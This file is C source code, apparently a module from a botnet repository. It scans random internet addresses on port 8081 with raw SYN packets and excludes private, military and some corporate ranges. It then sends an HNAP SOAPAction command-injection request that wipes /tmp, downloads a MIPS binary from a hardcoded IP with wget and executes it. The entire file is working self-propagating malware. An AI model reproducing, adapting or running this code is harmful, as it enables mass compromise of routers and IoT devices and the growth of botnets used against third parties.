Path: blob/master/Botnets/Self Reps/HnaP/hnap_scanner.c
5038 views
#define _GNU_SOURCE12#ifdef DEBUG3#include <stdio.h>4#endif5#include <unistd.h>6#include <stdlib.h>7#include <sys/socket.h>8#include <arpa/inet.h>9#include <sys/select.h>10#include <sys/types.h>11#include <time.h>12#include <fcntl.h>13#include <signal.h>14#include <errno.h>15#include <string.h>16#include <linux/ip.h>17#include <linux/tcp.h>1819#include "headers/includes.h"20#include "headers/hnap.h"21#include "headers/table.h"22#include "headers/rand.h"23#include "headers/util.h"24#include "headers/checksum.h"2526int hnapscanner_scanner_pid = 0, hnapscanner_rsck = 0, hnapscanner_rsck_out = 0;27char hnapscanner_scanner_rawpkt[sizeof(struct iphdr) + sizeof(struct tcphdr)] = {0};28struct hnapscanner_scanner_connection *conn_table;29uint32_t hnapscanner_fake_time = 0;3031int hnapscanner_recv_strip_null(int sock, void *buf, int len, int flags)32{33int ret = recv(sock, buf, len, flags);3435if(ret > 0)36{37int i = 0;3839for(i = 0; i < ret; i++)40{41if(((char *)buf)[i] == 0x00)42{43((char *)buf)[i] = 'A';44}45}46}4748return ret;49}5051void hnapscanner_scanner_init(void)52{53int i = 0;54uint16_t source_port;55struct iphdr *iph;56struct tcphdr *tcph;5758// Let parent continue on main thread59hnapscanner_scanner_pid = fork();60if(hnapscanner_scanner_pid > 0 || hnapscanner_scanner_pid == -1)61return;6263LOCAL_ADDR = util_local_addr();6465rand_init();66hnapscanner_fake_time = time(NULL);67conn_table = calloc(hnapscanner_SCANNER_MAX_CONNS, sizeof(struct hnapscanner_scanner_connection));68for(i = 0; i < hnapscanner_SCANNER_MAX_CONNS; i++)69{70conn_table[i].state = hnapscanner_SC_CLOSED;71conn_table[i].fd = -1;72}7374// Set up raw socket scanning and payload75if((hnapscanner_rsck = socket(AF_INET, SOCK_RAW, IPPROTO_TCP)) == -1)76{77#ifdef DEBUG78printf("[hnap] failed to initialize raw socket, cannot scan\n");79#endif80exit(0);81}82fcntl(hnapscanner_rsck, F_SETFL, O_NONBLOCK | fcntl(hnapscanner_rsck, F_GETFL, 0));83i = 1;84if(setsockopt(hnapscanner_rsck, IPPROTO_IP, IP_HDRINCL, &i, sizeof(i)) != 0)85{86#ifdef DEBUG87printf("[hnap] failed to set IP_HDRINCL, cannot scan\n");88#endif89close(hnapscanner_rsck);90exit(0);91}9293do94{95source_port = rand_next() & 0xffff;96}97while(ntohs(source_port) < 1024);9899iph = (struct iphdr *)hnapscanner_scanner_rawpkt;100tcph = (struct tcphdr *)(iph + 1);101102// Set up IPv4 header103iph->ihl = 5;104iph->version = 4;105iph->tot_len = htons(sizeof(struct iphdr) + sizeof(struct tcphdr));106iph->id = rand_next();107iph->ttl = 64;108iph->protocol = IPPROTO_TCP;109110// Set up TCP header111tcph->dest = htons(8081);112tcph->source = source_port;113tcph->doff = 5;114tcph->window = rand_next() & 0xffff;115tcph->syn = TRUE;116117#ifdef DEBUG118printf("[hnap] scanner process initialized. scanning started.\n");119#endif120121// Main logic loop122while(TRUE)123{124fd_set fdset_rd, fdset_wr;125struct hnapscanner_scanner_connection *conn;126struct timeval tim;127int last_avail_conn, last_spew, mfd_rd = 0, mfd_wr = 0, nfds;128129// Spew out SYN to try and get a response130if(hnapscanner_fake_time != last_spew)131{132last_spew = hnapscanner_fake_time;133134for(i = 0; i < hnapscanner_SCANNER_RAW_PPS; i++)135{136struct sockaddr_in paddr = {0};137struct iphdr *iph = (struct iphdr *)hnapscanner_scanner_rawpkt;138struct tcphdr *tcph = (struct tcphdr *)(iph + 1);139140iph->id = rand_next();141iph->saddr = LOCAL_ADDR;142iph->daddr = hnapscanner_get_random_ip();143iph->check = 0;144iph->check = checksum_generic((uint16_t *)iph, sizeof(struct iphdr));145tcph->dest = htons(8081);146tcph->seq = iph->daddr;147tcph->check = 0;148tcph->check = checksum_tcpudp(iph, tcph, htons(sizeof(struct tcphdr)), sizeof(struct tcphdr));149150paddr.sin_family = AF_INET;151paddr.sin_addr.s_addr = iph->daddr;152paddr.sin_port = tcph->dest;153154sendto(hnapscanner_rsck, hnapscanner_scanner_rawpkt, sizeof(hnapscanner_scanner_rawpkt), MSG_NOSIGNAL, (struct sockaddr *)&paddr, sizeof(paddr));155}156}157158// Read packets from raw socket to get SYN+ACKs159last_avail_conn = 0;160while(TRUE)161{162int n = 0;163char dgram[1514];164struct iphdr *iph = (struct iphdr *)dgram;165struct tcphdr *tcph = (struct tcphdr *)(iph + 1);166struct hnapscanner_scanner_connection *conn;167168errno = 0;169n = recvfrom(hnapscanner_rsck, dgram, sizeof(dgram), MSG_NOSIGNAL, NULL, NULL);170if(n <= 0 || errno == EAGAIN || errno == EWOULDBLOCK)171break;172173if(n < sizeof(struct iphdr) + sizeof(struct tcphdr))174continue;175if(iph->daddr != LOCAL_ADDR)176continue;177if(iph->protocol != IPPROTO_TCP)178continue;179if(tcph->source != htons(8081))180continue;181if(tcph->dest != source_port)182continue;183if(!tcph->syn)184continue;185if(!tcph->ack)186continue;187if(tcph->rst)188continue;189if(tcph->fin)190continue;191if(htonl(ntohl(tcph->ack_seq) - 1) != iph->saddr)192continue;193194conn = NULL;195for(n = last_avail_conn; n < hnapscanner_SCANNER_MAX_CONNS; n++)196{197if(conn_table[n].state == hnapscanner_SC_CLOSED)198{199conn = &conn_table[n];200last_avail_conn = n;201break;202}203}204205// If there were no slots, then no point reading any more206if(conn == NULL)207break;208209conn->dst_addr = iph->saddr;210conn->dst_port = tcph->source;211hnapscanner_setup_connection(conn);212}213214FD_ZERO(&fdset_rd);215FD_ZERO(&fdset_wr);216217for(i = 0; i < hnapscanner_SCANNER_MAX_CONNS; i++)218{219int timeout = 5;220221conn = &conn_table[i];222//timeout = (conn->state > hnapscanner_SC_CONNECTING ? 30 : 5);223224if(conn->state != hnapscanner_SC_CLOSED && (hnapscanner_fake_time - conn->last_recv) > timeout)225{226close(conn->fd);227conn->fd = -1;228conn->state = hnapscanner_SC_CLOSED;229util_zero(conn->rdbuf, sizeof(conn->rdbuf));230231continue;232}233234if(conn->state == hnapscanner_SC_CONNECTING || conn->state == hnapscanner_SC_EXPLOIT_STAGE2 || conn->state == hnapscanner_SC_EXPLOIT_STAGE3)235{236FD_SET(conn->fd, &fdset_wr);237if(conn->fd > mfd_wr)238mfd_wr = conn->fd;239}240else if(conn->state != hnapscanner_SC_CLOSED)241{242FD_SET(conn->fd, &fdset_rd);243if(conn->fd > mfd_rd)244mfd_rd = conn->fd;245}246}247248tim.tv_usec = 0;249tim.tv_sec = 1;250nfds = select(1 + (mfd_wr > mfd_rd ? mfd_wr : mfd_rd), &fdset_rd, &fdset_wr, NULL, &tim);251hnapscanner_fake_time = time(NULL);252253for(i = 0; i < hnapscanner_SCANNER_MAX_CONNS; i++)254{255conn = &conn_table[i];256257if(conn->fd == -1)258continue;259260if(FD_ISSET(conn->fd, &fdset_wr))261{262int err = 0, ret = 0;263socklen_t err_len = sizeof(err);264265ret = getsockopt(conn->fd, SOL_SOCKET, SO_ERROR, &err, &err_len);266if(err == 0 && ret == 0)267{268if(conn->state == hnapscanner_SC_EXPLOIT_STAGE2)269{270#ifdef DEBUG271printf("[hnap] FD%d sending payload\n", conn->fd);272#endif273274275util_strcpy(conn->payload_buf, "POST /HNAP1/ HTTP/1.0\r\nContent-Type: text/xml; charset=\"utf-8\"\r\nSOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://94.177.216.74/mips && chmod +x mips;./mips`\r\nContent-Length: 640\r\n\r\n<?xml version=\"1.0\" encoding=\"utf-8\"?><soap:Envelope xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\" xmlns:soap=\"http://schemas.xmlsoap.org/soap/envelope/\"><soap:Body><AddPortMapping xmlns=\"http://purenetworks.com/HNAP1/\"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>\r\n\r\n");276send(conn->fd, conn->payload_buf, util_strlen(conn->payload_buf), MSG_NOSIGNAL);277util_zero(conn->payload_buf, sizeof(conn->payload_buf));278util_zero(conn->rdbuf, sizeof(conn->rdbuf));279280close(conn->fd);281hnapscanner_setup_connection(conn);282conn->state = hnapscanner_SC_EXPLOIT_STAGE3;283284continue;285}286else if(conn->state == hnapscanner_SC_EXPLOIT_STAGE3)287{288#ifdef DEBUG289printf("[hnap] FD%d finnished\n", conn->fd);290#endif291292close(conn->fd);293conn->fd = -1;294conn->state = hnapscanner_SC_CLOSED;295296continue;297}298else299{300#ifdef DEBUG301printf("[hnap] FD%d connected to %d.%d.%d.%d\n", conn->fd, conn->dst_addr & 0xff, (conn->dst_addr >> 8) & 0xff, (conn->dst_addr >> 16) & 0xff, (conn->dst_addr >> 24) & 0xff);302#endif303304conn->state = hnapscanner_SC_EXPLOIT_STAGE2;305}306}307else308{309close(conn->fd);310conn->fd = -1;311conn->state = hnapscanner_SC_CLOSED;312313continue;314}315}316317if(FD_ISSET(conn->fd, &fdset_rd))318{319while(TRUE)320{321int ret = 0;322323if(conn->state == hnapscanner_SC_CLOSED)324break;325326if(conn->rdbuf_pos == hnapscanner_SCANNER_RDBUF_SIZE)327{328memmove(conn->rdbuf, conn->rdbuf + hnapscanner_SCANNER_HACK_DRAIN, hnapscanner_SCANNER_RDBUF_SIZE - hnapscanner_SCANNER_HACK_DRAIN);329conn->rdbuf_pos -= hnapscanner_SCANNER_HACK_DRAIN;330}331332errno = 0;333ret = hnapscanner_recv_strip_null(conn->fd, conn->rdbuf + conn->rdbuf_pos, hnapscanner_SCANNER_RDBUF_SIZE - conn->rdbuf_pos, MSG_NOSIGNAL);334if(ret == 0)335{336errno = ECONNRESET;337ret = -1;338}339if(ret == -1)340{341if(errno != EAGAIN && errno != EWOULDBLOCK)342{343if(conn->state == hnapscanner_SC_EXPLOIT_STAGE2)344{345close(conn->fd);346hnapscanner_setup_connection(conn);347continue;348}349350close(conn->fd);351conn->fd = -1;352conn->state = hnapscanner_SC_CLOSED;353util_zero(conn->rdbuf, sizeof(conn->rdbuf));354}355break;356}357358conn->rdbuf_pos += ret;359conn->last_recv = hnapscanner_fake_time;360361int len = util_strlen(conn->rdbuf);362conn->rdbuf[len] = 0;363}364}365}366}367}368369void hnapscanner_scanner_kill(void)370{371kill(hnapscanner_scanner_pid, 9);372}373374static void hnapscanner_setup_connection(struct hnapscanner_scanner_connection *conn)375{376struct sockaddr_in addr = {0};377378if(conn->fd != -1)379close(conn->fd);380381if((conn->fd = socket(AF_INET, SOCK_STREAM, 0)) == -1)382{383return;384}385386conn->rdbuf_pos = 0;387util_zero(conn->rdbuf, sizeof(conn->rdbuf));388389fcntl(conn->fd, F_SETFL, O_NONBLOCK | fcntl(conn->fd, F_GETFL, 0));390391addr.sin_family = AF_INET;392addr.sin_addr.s_addr = conn->dst_addr;393addr.sin_port = conn->dst_port;394395conn->last_recv = hnapscanner_fake_time;396397if(conn->state == hnapscanner_SC_EXPLOIT_STAGE2 || conn->state == hnapscanner_SC_EXPLOIT_STAGE3)398{399}400else401{402conn->state = hnapscanner_SC_CONNECTING;403}404405connect(conn->fd, (struct sockaddr *)&addr, sizeof(struct sockaddr_in));406}407408static ipv4_t hnapscanner_get_random_ip(void)409{410uint32_t tmp;411uint8_t o1 = 0, o2 = 0, o3 = 0, o4 = 0;412413do414{415tmp = rand_next();416417o1 = tmp & 0xff;418o2 = (tmp >> 8) & 0xff;419o3 = (tmp >> 16) & 0xff;420o4 = (tmp >> 24) & 0xff;421}422while(o1 == 127 || // 127.0.0.0/8 - Loopback423(o1 == 0) || // 0.0.0.0/8 - Invalid address space424(o1 == 3) || // 3.0.0.0/8 - General Electric Company425(o1 == 15 || o1 == 16) || // 15.0.0.0/7 - Hewlett-Packard Company426(o1 == 56) || // 56.0.0.0/8 - US Postal Service427(o1 == 10) || // 10.0.0.0/8 - Internal network428(o1 == 192 && o2 == 168) || // 192.168.0.0/16 - Internal network429(o1 == 172 && o2 >= 16 && o2 < 32) || // 172.16.0.0/14 - Internal network430(o1 == 100 && o2 >= 64 && o2 < 127) || // 100.64.0.0/10 - IANA NAT reserved431(o1 == 169 && o2 > 254) || // 169.254.0.0/16 - IANA NAT reserved432(o1 == 198 && o2 >= 18 && o2 < 20) || // 198.18.0.0/15 - IANA Special use433(o1 >= 224) || // 224.*.*.*+ - Multicast434(o1 == 6 || o1 == 7 || o1 == 11 || o1 == 21 || o1 == 22 || o1 == 26 || o1 == 28 || o1 == 29 || o1 == 30 || o1 == 33 || o1 == 55 || o1 == 214 || o1 == 215) // Department of Defense435);436return INET_ADDR(o1,o2,o3,o4);437438439}440441442443